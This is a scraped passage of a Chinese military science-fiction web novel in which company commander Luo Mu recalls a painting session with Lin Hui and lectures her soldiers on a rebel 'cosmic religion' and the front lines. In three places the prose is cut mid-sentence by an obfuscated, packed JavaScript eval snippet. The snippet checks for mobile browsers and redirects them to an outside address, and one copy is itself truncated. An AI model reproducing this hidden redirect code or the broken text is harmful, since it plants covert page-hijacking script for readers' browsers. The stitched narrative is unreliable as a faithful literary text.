中途铃声响起两次,下课的同学说说笑笑地从二楼的出口离去,洛暮听见他们纷乱的脚步声,从密集到稀疏,最后彻底安静下来。地面上的阳光正由金色向红色过渡,室内渐渐黯淡下来。 透过窗户望去,远方的天空已经染上浓郁的色彩,天边云海交叠翻滚似盛开到极致的黄玫瑰。洛暮眯着眼睛注视夕阳里沦为黑色剪影的树叶,空气里只剩下笔尖与纸面摩擦的声音,犹如一支盛满美酒的催眠曲,闻者几乎一醉不醒。 林晖浑然不觉时间流逝,他有条不紊地着色,渲染,侧脸线条柔和到几乎要溶于沉沉暮色中。他唇边偶尔会浮现出微笑,大概是作出了满意的一笔。太阳在坠落,坠落前它执着地凝视这个小小的天地。直到它收走自己最后一缕目光,夜色降临,那一刹那明暗的交替,让洛暮恍惚以为这就是一生了。 “如何?”林晖放下画笔。 14. 小小的宇宙(二) 洛暮像是突然惊醒了一般,她怔了一瞬,随即轻轻地说:“真美啊。” “你还没看吧。”林晖略带不满。 “啊,我刚刚是说夕阳真美。” 她看向林晖,微微地笑了。这个瞬间洛暮心里忽然升腾起巨大的哀伤,她强调了一遍:“真美啊。” “可惜我刚才没有注意。”林晖说。 洛暮轻轻地拿起书签,举到眼前仔细端详。它果真是以绿色作为基调,色彩运用令人眼前一亮。旁边散落的树叶是浅绿色,沉睡在中央的小猫是深绿色,画面清新活泼,想不到这居然会出自林晖笔下。洛暮不由自主地感慨道:“好可爱。” 她又看向林晖,真心实意地称赞:“好厉害!” “勉勉强强吧,哪里比得上你这种大师。”林晖淡然道,唇边却情不自禁浮现出笑意。 “不要再讽刺我了,这次真的甘拜下风。”洛暮拿着那张书签爱不释手,她问,“画得这么好,真的给我?” “那我拿走?” “不不不,还是给我吧。”洛暮说,眼神还停留在小猫上。她翻开日记本,小心翼翼地把它夹进去,合上前恋恋不舍地摸了摸。 林晖若有所思地看着她的日记本,说:“不过这张画我也很喜欢,我很少画画,想想有点可惜。” “不要可惜。”洛暮严肃地说,“它在我这里只会得到最好的待遇。我回去扫描一下,把电子版发给你。” “记得发私人账号,上次我给你的那个。”林晖说。 “我知道,就是那个用着系统默认头像的三无小号吗?我当时还以为加错人了,个人主页一片空白,看着很不靠谱。”洛暮说。 林晖笑了。他没告诉洛暮那个账号他没有加过什么人,大部分时候他只是用来浏览社会信息,自然就不会打理它。他说:“等我有时间了再照料它。你也没什么资格说我吧,你的个人主页还不是一片空白?” “我那是因为懒,所有的事情我都写日记里了,也就不需要再额外发到主页上去。”洛暮说。 她开始收拾桌上的东西,林晖则站起来舒展久坐的身体。他走到窗边,将半开的窗户彻底推开,闭上眼睛感受微凉的夜风。窗边的树叶在风中晃动着,发出沙沙的声音。 这栋楼现在都空荡荡的了。最后一个人离开时还是白天,没人想到要开灯。等洛暮背上书包站在林晖身边时,室内已经完全陷入黑暗,只有窗下还落着淡淡的光,映照得地板光滑如镜面。透过窗户向外望,楼外的道路两边栽种着整整齐齐的女贞果树,如今正是它们挂果的季节,但在路灯白色的光芒里,分不清摇动的究竟是累累的果实还是树叶。 画室很偏僻,夜里没有学生从这条路经过,道路静悄悄的,空气里唯有虫鸣阵阵。 “怎么感谢你呢?为了这张书签。”洛暮问。 “少在日记里攻击我就好。”林晖说。 “哎,”洛暮轻轻地叹口气,“有没有可能我从来没在日记里攻击过你?” “是吗?”林晖转过身看着她。 “信吗?”洛暮笑了。 “将信将疑,不过写了我也不会知道,你可以表面上答应,回去后继续在里面大肆抨击我。” “不骗你,我确实没有在里面抨击过你,看在小猫的份上,以后更不会了。为表感谢,我请你吃饭吧,和和气气地吃顿饭。”她说。 “在哪里?”林晖看上去有点兴趣了。 “我要是说吃食堂呢?”洛暮问。 “也不是不可以。” “骗你的,去东门外吧,那里有家小碗菜,我和朋友去过很多次。”洛暮说。 “看得出来你有很多朋友。”林晖忽然说。 “也看得出来你有很多朋友。”洛暮说。 林晖冷冷地笑了,说:“不,我没有。” 他们走向楼梯,四周漆黑一片。洛暮摸着扶手,脚步放得很轻,像是怕踩疼了这座古董楼梯,它踩上去是那么松软,这种奇妙的触感让她记了很多年。后来洛暮挑选酒店时总会留意有没有类似的楼梯——古老的、踩上去吱吱作响的楼梯。那声音在寂静的画室里显得格外清晰,像一曲年代久远的歌谣。 他们登上二楼,随后门开了,两人走出这间彻底冷清下来的画室。 洛暮点开林晖的主页,里面依旧是一片空白。退回联系人界面,右侧他们最后的聊天时间停留在很久之前,离开阿纳斯塔西亚他们再无联系。 她突然好奇自己和林晖究竟是怎样熟识起来的,也许是因为他们在课堂上无数次针锋相对,最后忍不住约在休息日互相挖苦了两个小时,也许是因为好几次莫名其妙在僻静的角落撞见后,两个年轻人终于警惕着冷笑着发出了问候。 洛暮不知道林晖比她更擅长回答这个问题,她不想再思考这些事情,答案对于现在的她也不再重要。那都是曾经,或许曾经跟未来一样都拥有无限可能,但前者只在想象里,后者却在现实中。 好在这时候陈砚泽发来了消息,她问:“怎么了?详细讲讲,这可是你第一天上任,我很好奇。” “其实没有什么。只是上午一口气说了很多话,和很多人打交道,耗费很多精力。精力集中的时候没什么,一放松下来就感觉疲惫得要命。”洛暮回复陈砚泽。 “但是我知道你睡个午觉后又会活力十足。”陈砚泽说。 “是的,我正准备睡午觉。下午要给战士们上课,现在可要养精蓄锐。” “上课?哎,我记得你最讨厌当老师,如今居然也要做起这种事情了。果然还是工作能锻炼人。” “我宁可不要锻炼。如果不是为了挣钱,谁愿意工作?如果不是为了谋求更长远的目标,谁愿意背井离乡。倘若我出身贵族,手头有花不完的钱,说不定就天天躺着了。”洛暮说。 “我就听你这么说吧,你其实是个在哪里都闲不下来的人。”陈砚泽发来一个嘲笑的表情。 “哼,我巴不得天天闲着。先睡觉了,到休息日我们见一面,不然部队开拔后就不知道过多久才能见上。” “这是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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班主任简直是如获大赦欣喜若狂,立刻说好好好有请洛暮同学上台讲题。她就走上去条理清晰地解决完问题,又顺手把接下来的几道压轴题讲了,最后顶着全班人钦佩的目光走下讲台,老师还要装作欣慰的样子说:“很好啊,洛暮的思路不错,大家就用她的方法吧!”洛暮于是在座位上露出微笑。 帝国的课程对于洛暮来说没有任何难度,而左拉的师资力量又差得可以,很多次洛暮都会淡定地替老师讲解难题或者课文,声情并茂鞭辟入里台下同学听得如痴如醉。大家觉得洛暮简直就是神人无所不能,他们会悄悄地讨论她怎么什么都会。 所有人都不明白左拉那种小地方怎么会出现洛暮这样的天才,以至于后来她以伊莱那行政区第一名的成绩考入望渊军校时没有一个人感到惊讶,他们只是觉得洛暮去了她该去的地方,就连最嫉妒洛暮的女生都会在毕业时欣然祝福她要在阿纳斯塔西亚搏一个美好的前程。 洛暮和那个女生发生过几次不愉快的摩擦,但最后留在洛暮记忆里的只有她真诚的话语。她说洛暮你一定要去阿纳斯塔西亚,那里才配得上你的才华。不要在意别人的风言风语,他们不过是嫉妒,你尽管上你的路就好了!然后她不好意思地说洛暮你知道吗其实我以前也很嫉妒你。 后来洛暮偶尔会和陈砚泽追忆在左拉的时光,陈砚泽对此颇有共鸣,她也是一个出类拔萃让老师都自愧不如的学生。两个女孩怅然地坐在甜品店感慨良久,纳闷那种幸福单纯的年纪何以一去不复返了。 洛暮设置好显示屏,把昨天晚上整理的资料投映到上面。她在心里将要讲的大纲默默过了一遍,打开手环给气急败坏的陈砚泽回个嘻嘻的表情,接着就愉悦地等待三连的战士到来。 15. 小小的宇宙(三) 军队的效率自然不一般,约定的时间一到,台下整整齐齐坐满了战士。白越向她报告除了生病的潘恩三连所有人全部到齐,洛暮点点头示意知晓。 她站在讲台上俯视乌压压的人群,无论是她自己还是战士们都清一色军容整肃神情庄重,室内气氛简直像在部队里开了所军校。 所有人手里都拿着黑色笔记本和笔,纸笔还是中午洛暮跑到后勤处要来的。后勤处的处长是个打扮入时的女军官,据说是某个师长的侄女。她听到洛暮的要求后大吃一惊,热心地帮她在库房的角落找到这些东西。 事后她们互留了联系方式,女军官对洛暮很有好感,因为这个年轻的连长一见面就称赞她的头发烫得非常漂亮,尤其修饰了她细长的脸型。在全是不解风情的男人堆里听到如此专业的赞扬,后勤处处长大为感动,直呼只有女人才最懂女人。 洛暮研究过三连战士的文化水平,对他们至少都识字这点颇为满意,其他的就不敢苛求。吴肖利这种大学辍学分子算是里面学历最高的,高得有点可怕。 她放的第一张图片是帝国的行政区图。洛暮问:“谁来指出现在叛军占领的是哪个行政区?” 战士们说:“佐贝伊德行政区。” 因为阿德尔玛已经靠近帝国的边界了,再往前只有佐贝伊德了,不用思考都能猜到。 “很好。”洛暮拉开佐贝伊德行政区的地图,它由首府佐贝伊德星和七颗小行星组成。图中佐贝伊德星和六颗小行星被标红。 白越和布莱尔神色严肃,他们第一次看到交战地图,经受过军校教育的他们自然知道红色意味着什么。帝国行政区中最辽阔的佐贝伊德区大半已经被叛军占领,只剩下毗邻阿德尔玛的那颗小行星还在苦苦支撑。 “红色代表叛军,而蓝色代表帝国。”洛暮对战士们解释道。 看着红了大片的佐贝伊德行政区,吴肖利问:“叛军的势力已经这么大了吗?帝国总共才六个行政区啊。” “是的。佐贝伊德是帝国的边缘,地广人稀。叛乱最开始没有受到重视,被认定为居民的械斗。但它蔓延的速度极快,形成了组织,但这个时候也还能够扼杀。真正的危机出现在佐贝伊德行政官派人去平叛后,许多军队听到叛军的理念立刻倒戈,最后连行政官自己也投靠了叛军。” “洗脑大法?什么理念这么吸引人。”吴肖利问。 洛暮嘴角露出微笑,说:“洗脑这个词用得好。阿德尔玛的行政官已经下令全面封锁来自佐贝伊德的信号,应该是害怕这种理念影响到整个帝国。普通人都还不知道这场叛乱的严重性,但我们必须知道那边发生了什么。具体的理念说起来很复杂,你们听说过宗教吗?” 众人不约而同傻笑起来。吴肖利心想你知道我们是文盲就不能直接说吗,特意问一下岂不是显得我们更加文盲了。 洛暮说:“没关系。宗教是前文明的名词,我们这个文明发展以来还没有出现过类似的东西,你们不了解很正常。它类似于一种精神寄托,比如说告诉你人死之后能前往乐土,因此生前必须多行善事,才可以获得去往乐土的资格。总之叛军中间出现了像宗教这样的组织,他们的组织和宣传能力很强,如果没有事先对他们的思想有预防,很容易受其诱惑。” 有句话洛暮没有说出来。有赖于帝国糟糕的基础教育,很多人对科学知识毫无概念,明辨是非的能力几乎为零,这才是他们被诱惑的根本原因。 “所以连长你这是在提前给我们打预防针?”吴肖利恍然大悟。 “是的。我研究了已知的资料。这个宗教自称为宇宙教,他们的组织,就叫教会吧,也是前文明的词。教会治下所有的信徒也就是叛军,说他们是在脑中得到了神谕,自愿为教义而战。而他们的教义是世界即将毁灭,只有遵从神谕来改造人类,才可以在末日中拯救自己。” 战士们立刻哄然笑了。 “有种小时候看的拯救世界大片的感觉。”吴肖利说。 “真的会有人信这个吗?”布莱尔完全不理解,大概她在过去循规蹈矩的生活中从来没有听过这种谬论,所以表现得格外吃惊。 高余问:“在脑中得到神谕?这是他们宣传的还是真的能听到?” “肯定是宣传的。脑中得到神谕,听起来高级又神秘。先营造气氛,通过工具打造出一些反科学的场面。到时候再拉几个人说‘没错,神就是这么告诉我们的,我们都听到神谕了’。虽然听起来手段很低劣,但很多人还会深信不疑。”布莱尔推断道。 “非常好,二队的思路很清晰!”洛暮赞扬道。 布莱尔不好意思地笑了,说:“哪有,只是基础的猜测。” 高余还是不理解,问:“怎么会呢,这不一看就是骗术吗?骗骗普通人还好,佐贝伊德的那些官员、贵族也都信了吗?” “地位高不代表他们聪明,可能是投胎好。”吴肖利冷不防说道。 所有人齐刷刷地看向他,只听队伍里有人情不自禁地说:“肖利人间清醒啊。” 洛暮没忍住笑了,对吴肖利表示认可:“不愧是我们连中最想上进的人。” 吴肖利脸上露出无奈的神色,说:“总感觉连长是在嘲笑我。” “这倒没有。”洛暮话锋一转,“要是真能听到呢?比如说你正走在路上,忽然觉得脑中一片空白,冥冥你听见一个声音:啊——吴肖利,神选中的人。世界行将毁灭,而你要承担起救世的责任,以自身的超越,免遭灾厄的波及。加入我们吧,你会成为神的宠儿、天使和救世主!” 洛暮有板有眼地吟唱道,声音空灵缥缈,像是从高空传来的乐章。她接着说:“你愣住了,连忙大声询问说话的人是谁。但那声音只是重复道,世界行将毁灭,我们才是救世之道。而这时你脚下的路轰然崩塌,天空断裂,岩浆与哀嚎从地底一同涌出,世界突然间混乱一片,眼前尸骸遍野,但你还安稳地站在原地。声音说,正因你是神选中的人才得以幸免!若不信奉我等,你的下场就是如此!” 洛暮的声音极富渲染力,她绘声绘色地讲着,所有人都呆呆地听着,好像那场景真的出现在他们面前一样。 她微笑着说:“但你决定保持本心,最终还是拒绝了它。拒绝的一瞬间你脚下的大地就裂开,地底吐露出火焰和电流。这一刻你大叫起来,张皇四望,周围的人都看向你。你才发现刚才的一切不过是场幻境。道路仍上是人来人往,喧嚣依旧。 而正当你想忘掉这一切继续前进时,却突然遇见了一群人。他们说‘我们正在寻觅救世的人,加入我们吧!在这里,你将会是新世界的主人,超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096877|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越所有!不必遭受毁灭的厄运!’。你想起刚才的可怕经历,又想起一地鸡毛的生活,想起还没发的工资,想起昨天开着凯迪悬浮车从你身边扬长而过的公子哥,他还把喝空的两百元一瓶的矿泉水瓶丢在你面前。你心中瞬间闪过千百转念头,再看向慈眉善目的教会成员,你……” “没错,我就是救世主。”吴肖利脱口而出。 “这下不得不信了。”高余热泪盈眶地说。 “好好好,然后你们就这样化身叛军,投入教会的怀抱了。”洛暮拍手道。 大家笑了起来。 “不是不是,才不会!怎么可能有这种事情,除非他们所有人都像连长你这样妙语连珠循循善诱!”吴肖利反应过来后立刻为自己辩经。 “你看,就是这样喽。如果你毫无心理准备地遇上这种事情,是不是很容易就相信他们了?而你脑中听到的也许是敌方新的科技,只需要适当调整磁场,就能让你在脑中产生幻觉。”洛暮说。 布莱尔问:“连长,真的会有这样的攻击吗,这要归为哪一类攻击方式,精神上的诱导?” “难说,关于那些部队是如何被引诱的情报非常少,我只是说出一种可能的情形。尽管有些危言耸听,但希望大家提高警惕,坚定自己的信念。毕竟教会说得很动听,实际上可不是什么好东西。据前线传来的战报,他们对人体实验相当痴迷,还改造了不少生化战士。” “人体实验?”布莱尔大惊。 “生化战士?”白越也问。 “是的,不过正面战场主要是第一师在面对,我们暂时不会遇上。遇上也不要慌了手脚,开枪就是。一切的恐惧来源于火力不足,再怎么改造终归还是碳基生物,没有枪炮解决不了的。”洛暮冷冷地说。 洛暮这句话里杀气很重,让布莱尔心中微微一惊。起初她总觉得自己这个连长还有些稚气,但现在她对洛暮彻彻底底改观了。洛暮表现出来的对战场局势的洞悉和杀伐果断的气质完全让人忽略了她的年纪,布莱尔本来对未知的战场充满犹疑,现在竟然一点都不担忧了。好像只要相信洛暮,那就一定可以成功。 她盯着洛暮的眼神好像有些过于专注,洛暮很快就注意到了,对她微微一笑:“说起枪炮,我还知道布莱尔的枪法很好,我们下次可以切磋一下。” “好啊!”布莱尔不假思索地应承下来。 “连长和二队互相约不带我,我是被孤立了吗?”白越突然觉得不对劲,立刻发声。 “这不是看你一直没说话吗,自然就忘掉你了。”布莱尔说。 “那就把一队也加上……等一等,既然这样,我们三连干脆举行一个军事素质的检测,让我看看大家的总体水平。时间我另外定,到时候从我们三个开始,军官必须起带头作用。”洛暮一锤定音。 底下一阵欢呼。如果光是军事素质检测当然没什么意思,但三个军官也要参与进来,那热情简直是高涨好几倍。 “这就是我最喜欢的情节,你觉得连长他们谁更厉害?”高余悄悄问吴肖利。 “我猜连长最厉害。”吴肖利说。 “为什么?” “不知道,总之就这么觉得。” “男人的第六感吗?” “高余,你不会说话可以不要说。” 16. 小小的宇宙(四) “这么热情,看来你们都很期待啊。”洛暮笑着说,“一队二队,那我们可要做好准备了。” “主要是看连长,毕竟连长上午还说自己的军事素质数一数二呢,我们都非常期待。”白越调侃道。 “我肯定没说数一数二这个词,不过既然一队要给我加上,那我就努努力争取配上它吧。”洛暮说。她重新回到讲台,滑动佐贝伊德区的地图,把那颗还呈现蓝色的星球放到正中央。 “定下这件事后,我们继续来上课。大家没有觉得累吧?”她问。 “没有,根本不会!”战士们说。 “非常好。那我们接下来讲即将面对的局势,首先来看这颗行星。” 洛暮指着未被占领的小行星说:“克拉莉切星,佐贝伊德区最后一颗没有落入敌手的星球,也是阿德尔玛行政区最后的防线。如果它被叛军突破,就意味着战火要波及阿德尔玛区。阿德尔玛区远比佐贝伊德区繁华,人口密度大,如果在这里开战,会造成巨大损失。所以现在首要的战略目标是将叛军阻拦在克拉莉切星。” 她继续放大克拉莉切星,屏幕上展现出整个星球的轮廓。 “一个月前,阿德尔玛第一师已经在克拉莉切星上降落,与叛军展开激战。阿德尔玛总共有三个师,第三师必须留驻本区。能够支援克拉莉切的只有我们第二师。” 洛暮侃侃而谈,她对于局势显然烂熟于心,“第二师拥有四个团。不出意外,前两个团前往克拉莉切。而我们作为第四团的一部分,应该会留驻在阿德尔玛边界,负责提防小股叛军的袭击以及叛军在当地引导的暴乱。这就是眼下我们即将面对的事情,大家有什么问题吗?” “连长,怎么感觉只有我们孤军奋战,这可是叛乱,阿纳斯塔西亚那边就没有兵来帮我们吗?”高余问。 军官们这下都露出微笑了,洛暮问:“小余,你莫非以为我们六个行政区很和谐吗?” 高余纳闷:“不和谐吗?” 吴肖利说:“岂止六个区不和谐,有的区内部都不和谐吧。” 上过大学的人果然不一样,吴肖利对帝国的认知比其他人都强上一大截,他说:“就拿我所在的莱萨区来说,莱萨区分为上半区和下半区。上半区与阿纳斯塔西亚联系更紧密,下半区相对独立一些。有时候也不太听阿纳斯塔西亚的指令。如果有一天下半区撞上什么倒霉事了,上半区肯定是拍手叫好啊。” “正是如此。帝国六个区之间联系不算紧密,阿纳斯塔西亚的影响力最主要集中在邻近的那三个区。阿德尔玛和佐贝伊德在他们眼中算是不毛之地,帝国的态度挺暧昧。又想帮你,又觉得帮你没多大用。犹犹豫豫不上不下,可以说是传统了。”洛暮说。 “帮了,但没完全帮。大概就是这种感觉吧。”吴肖利吐槽道。 “毕竟帝国这么大,距离又隔得远。阿纳斯塔西亚那边只会象征性出力。上心是不可能的,人尽皆知我们阿德尔玛是蛮荒之地。”白越身为阿德尔玛人,早就对这种态度习以为常了。 “是这样,当年在军校的时候,同学也觉得我是穷乡僻壤来的。其实阿德尔玛这些年发展得还不错,不管是主行星还是其他几个小行星,都不比其他区差。但那些人只愿意承认他们想象中的阿德尔玛。”布莱尔耸耸肩。 “这种体验我还没有过,只有你们这些考出去的人才知道,算是甜蜜的负担吗?”白越问。 “甜蜜个鬼,你能想象他们围着你问:阿德尔玛有些地方真的还是史前状态吗,你考上军校部落里开派对庆祝了吗,来之前你是不是已经嫁过人了?那场面实在是滑稽。”布莱尔说。 白越大笑起来:“老天,连部落都出来了吗,他们的想象力真够丰富。那你应该说不仅开派对庆祝了,部落还给你奖励马车豪宅以及一群仆人烧火做饭。” “唉,要是像你说的这样就好了。但我当年什么也不敢反驳。费尽口舌跟他们解释了半天,结果根本没人愿意听。”布莱尔遗憾地说。 洛暮心想无论如何你们阿德尔玛区这几个星球说出去大家还多少听说过。我们左拉才是真正的小地方。伊莱那行政区是六个区里最没存在感的区,左拉是最没存在感的区里最没存在感的星。 想她刚进入望渊军校时,弗吉尼亚问她是哪里来的,洛暮说我来自左拉。弗吉尼亚愣了半天一点印象都没有。 最后洛暮说其实是伊莱那区,伊莱那区你知道吧。弗吉尼亚这才说哦哦是那个地方啊。其实她合理怀疑弗吉尼亚也想不起来伊莱那区究竟是什么东西,对于阿纳斯塔西亚人来说整个帝国只有阿纳斯塔西亚和其他地方。 后来逢人她再懒得说左拉,都言简意赅地说我来自伊莱那区。只有那少数几个关系亲密的人知道洛暮具体的故乡。 “无所谓啦,我们自己心里知道阿德尔玛是怎样的就好,管他们怎么说。”洛暮让话题回归正轨,“再问问大家,对于阿德尔玛乃至帝国的历史,你们了解得如何?” 战士们脸上一片茫然,有人说:“什么是历史?” 帝国不特别开设历史这门科目,只有高等教育里才会有历史的选修课,底层民众对历史的概念完全是模糊的。 洛暮说:“没关系,下一个问题,你们会看军事地图吗?” 她点击一下屏幕,克拉莉切星顿时从民用地图的形态变成密密麻麻的符号叠加图,原本清晰可见的崇山峻岭成为了无法辨认的特殊符号。 只有布莱尔、白越和二队的少数几个战士举起手。 洛暮点点头说:“问题不大。那我们接下的日子里要学习就是这两样,历史和军事。现在大家做好笔记,切记,如果讲快了一定要提醒我。我有时候语速会很快。” “没事的,连长吐字很清晰。”吴肖利说,他是第一个翻开笔记本的人。 “就当是复习,离开军校后我都对它们有点忘记了。看看望渊军校教的和我们有什么不同。”白越说。 下午的时间总是度过得很快,天色渐暗,被染得金黄的云飘在空中。一连从训练场归来,他们穿过庭院和长廊,惊奇地讨论下午居然没有见到三连,种种猜测后,他们的话题又转向三连那个新上任的连长。 “很年轻,还是个女的。” “漂亮吗?当时离得太远,没看清。” “戴了军帽,我也没怎么看清楚。” “我倒是看到了,还可以吧,称不上大美女,但也算漂亮了。” “是吗?如果让她做我连长,我肯定不服气,谁会听一个小丫头的话?” “但她开饭早啊。没看中午那会三连是第一个走的。” 这点让他们都无法反驳了,几个士兵面面相觑。有人开口道:“其实我们一连开饭也还算早,至少比他们二连强。” “哈哈,二连恐怕现在还在那站着!” “冯·莱恩是真不把他们当人看呐,那个苦累劲,谁能撑得住?” “唉,有什么办法。人家是连长,摊上那样的,又能怎么样?谁会听你一个士兵的话?” 这几人走的是长廊的另一侧,虽然离食堂远,但可以避开人流。他们纷纷摇头叹惋着二连的悲惨遭遇,议论着三连的惨淡未来,不时爆发出大笑。突然间,他们都停住了脚步,一声不敢吭。 一连的连长李秋阳站在这条走廊上,静静地透过一扇窗户看着它室内的景色。他听到动静偏了下头,止住几个士兵敬礼的动作,示意他们不要出声,目光却仍停留在里面。他们走也不是,留也不是,只好尴尬地站在原地。 其中一个胆子大的士兵也往里面看去。 训练室里,整整齐齐地坐着三连的士兵,他们手中都拿着纸笔,神色肃穆,聚精会神地看向讲台。最前方是三连的两个队长,他们竟然也表现得像学生那样谦虚好学,神色专注。 近一百双眼睛盯着讲台上那个侃侃而谈的军官。她这会已经脱下军帽了,穿着干练的军装衬衣,马尾扎在脑后。显然那张脸还非常年轻,看上去稚气未脱,尤其当她转过头指着屏幕时,那瞬间像极了正在讲解难题的学生,表情严肃认真。 但没有一个人因为她的年龄表现出轻慢不恭的意思。简单的求知若渴似乎无法概括他们的表情,每个人脸上都浮现出一种神圣的意味,好像有一场巨大漫长的进化正在这间屋子里进行。 透过窗户,隐隐约约能听见女孩铿锵有力的声音,她正讲到人类发现阿德尔玛的历史。她讲述最初的人类是如何借助前文明留下的飞船,横跨阿德尔玛和莱萨之间巨大的宇宙鸿沟,来到这片荒凉的土地。 她说飞船降落的一刹那开辟者们以为是死亡的降临,看不到尽头的航行已经耗尽了他们所有勇气,没有人再对未来怀抱希望。 但他们活着,船长试探着推开舱门,映入这群风尘仆仆的人眼里的是一个全新的世界,一个不曾被发现的可爱星球。从这里遥望莱萨和它身后的阿纳斯塔西亚,熟悉的星球们变得格外渺小。而在阿德尔玛的前方,佐贝伊德星闪着温润柔和的光芒,宇宙寥廓无垠。 “那时候的人类没有想到,这竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096878|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是未来一百多年间,他们最后一次向宇宙探索。他们不知道自己将永远止步于前方的佐贝伊德星,不知道眼前看似无尽的宇宙存在尽头。和前文明所说的完全不同,我们宇宙的边界居然如此狭小。所以,我们生活在小小的宇宙。” 洛暮轻轻地重复了一遍:“小小的宇宙。” 底下听讲的人神情如痴如醉,他们没注意到洛暮在说出这句话时微不可察地叹了口气,没注意到她表情里隐藏的淡淡的忧伤。 她继续讲下去,脑中想到的却是孩提时代她读到“肥美多汁的牧草”这个词后,饱受诱惑决定要去尝尝草的味道。那天她背着母亲撕下家中富贵竹的叶子。 说来这捆竹子还是她从小学举办的跳蚤市场上买到的,连带一个玻璃花瓶,只花费了非常微小的代价——小学生哪懂什么价格,卖出去就好了。母亲接她放学时大吃一惊,不知道瘦小洛暮是怎么扛动这么重的东西。 她们回到家给花瓶注水,修剪富贵竹的根部,把这丛翠绿养在清澈的水中。后来她们换过好几捆竹子,只有花瓶一直没变,从透亮到染尘,最后雾蒙蒙的看不出原来的美貌。十年后洛暮离开左拉,富贵竹留在家里悄无声息地枯黄焦脆。 洛暮把竹叶塞进嘴里,在孩子心里草和竹子都是一类东西,何况家里的竹叶看着青翠欲滴,想必味道更好。咬断叶片的那一刻她被糟糕的气味冲得泪流满面,但还强忍着坚持咀嚼。直到最后咽下去,洛暮才终于承认自己受到了欺骗,且做了件极蠢的事情。 想来那时她执着顽固的性格就已经初现端倪,以至于母亲无数次说她过于倔强。但洛暮一点不后悔,在她认知中凡事必须亲自试试才会知道个中滋味。 时隔多年,洛暮又想起了当时嘴里竹叶的味道,她在心里反复念着“小小的宇宙”这个词,像是要把它咀嚼到满嘴苦涩一样。 窗外,李秋阳注意到这几个士兵没有离开,他皱皱眉头问:“你们怎么还在这里?” “我们,我们看连长在这里……” “哦,我是路过,顺便看看三连在做什么。没事的话就走吧。”李秋阳说。 士兵们如蒙大赦地逃离了,只留下李秋阳站在窗外,不知道在思考什么。 洛暮的讲话声停止了,房间内响起一阵椅子挪动的声音,看来三连的授课也结束了。李秋阳立刻远离窗边,快步走到庭院,仿佛从未从那里待过一样,若无其事地离开了。 很快,三连的士兵从前后两个门有组织地走出来,很多人脸上还带着长时间沉浸后的眩晕。最后走出来的才是三位军官。洛暮对自己的两个队长说:“听累了吗?” “完全没有,连长你真的很适合做老师。”白越说。 “别别别,我最不喜欢做老师了。一想到应付小孩子就深恶痛绝。”洛暮连忙摆手。 “不用和小孩子打交道啊,去军校做老师。”布莱尔笑道。 “这也不行,天天教书多枯燥啊,还是喜欢做连长。”洛暮说。 她说完,三个人都大笑起来。布莱尔问:“那连长能再讲讲刚才关于阿纳斯塔西亚的历史故事吗?详细一点,喜欢听。” “当然可以。走吧,路上讲。我们三个要不要一起吃个晚饭?。” 其他两人当然不会拒绝。 “这算不算我们的第一次聚餐?”布莱尔问,很高兴的样子。 洛暮作思考状:“那未免有些朴实无华。等到今后诸位都是上校或者大校了,回忆起来我们第一次聚餐居然是吃食堂,这份情谊很有一种相识于微末的感觉。” 白越笑了:“真能有那么一天吗?上校或者大校,我今晚就做这个梦!” “怎么回事,都做梦了还给自己设限,往高的梦!要是我的话,肯定就梦自己当元帅。”洛暮笑着说。 “不愧是连长,就连做梦都比我们要大胆。咳咳,那我调整一下,少将,少将就行了。”白越说。 他们三个笑得喘不过气来。 “好啦好啦,做梦前先去吃饭吧,不然刚登上授勋台就饿醒了。”洛暮率先走出两步,忽然又问道:“刚才一连连长在窗外,你们注意到了吗?” “完全没有,我们是背对窗户的,他在那里做什么?”布莱尔问。 “也许只是顺便听一下,好奇我们在做什么。我感觉李秋阳还算是很好相处的人。”白越说。他之前暂代连长一职,与李秋阳打交道比较多。 “问题不大,下次见当面问问好了,有些事情坦坦荡荡说反而效果更好。”洛暮做了决定。 17. 少年心事(一) “肖利,你和潘恩在一个宿舍?”洛暮问。 “是的,连长。你是来看他的吗?”吴肖利问。 用过晚饭,就到了夜晚休息的时间,士兵们基本上留在宿舍里。所有宿舍都亮着昏黄色的灯光,里面不时传来大笑声。 “如果他现在不舒服,我就不打扰了,免得耽误他养病。”洛暮说。 “谈不上,他的病我们都清楚,其实没那么严重。他是被家里人硬逼来当兵的,心里不乐意,不愿意训练,总想着这样就能把他遣送回去。白越队长心比较软,也就一直没管他。”吴肖利说。 “原来如此,那现在同他说话想必会很反感我——我最不想见到的就是军官,你这个家伙跑来干嘛?”洛暮笑着说。 吴肖利也笑了:“没关系的,感觉今晚他好了很多,我们在宿舍里聊天时他问了很多今天发生的事情,似乎没那么要死不活,明天就能参训。” “既然这样,请替我转达对潘恩的问候,说希望明天见到他。然后我就回去休息了,初来乍到要忙的事情比较多,休息不好会影响工作状态。” 吴肖利听她要走,微微失落:“好的连长……哦对!军事测试的事情加油!我可是押了你必赢。” 洛暮本来已经转身了,这时又回过头,稀奇道:“好哇,你们还押注起来了。快,没收赌资,严惩不贷!” 她是在开玩笑,吴肖利也心知肚明,笑着说:“是啊,不过我们也没赌什么,只是说到休息日那天输家请赢家吃饭。连长你不问问支持你的人多不多吗?” 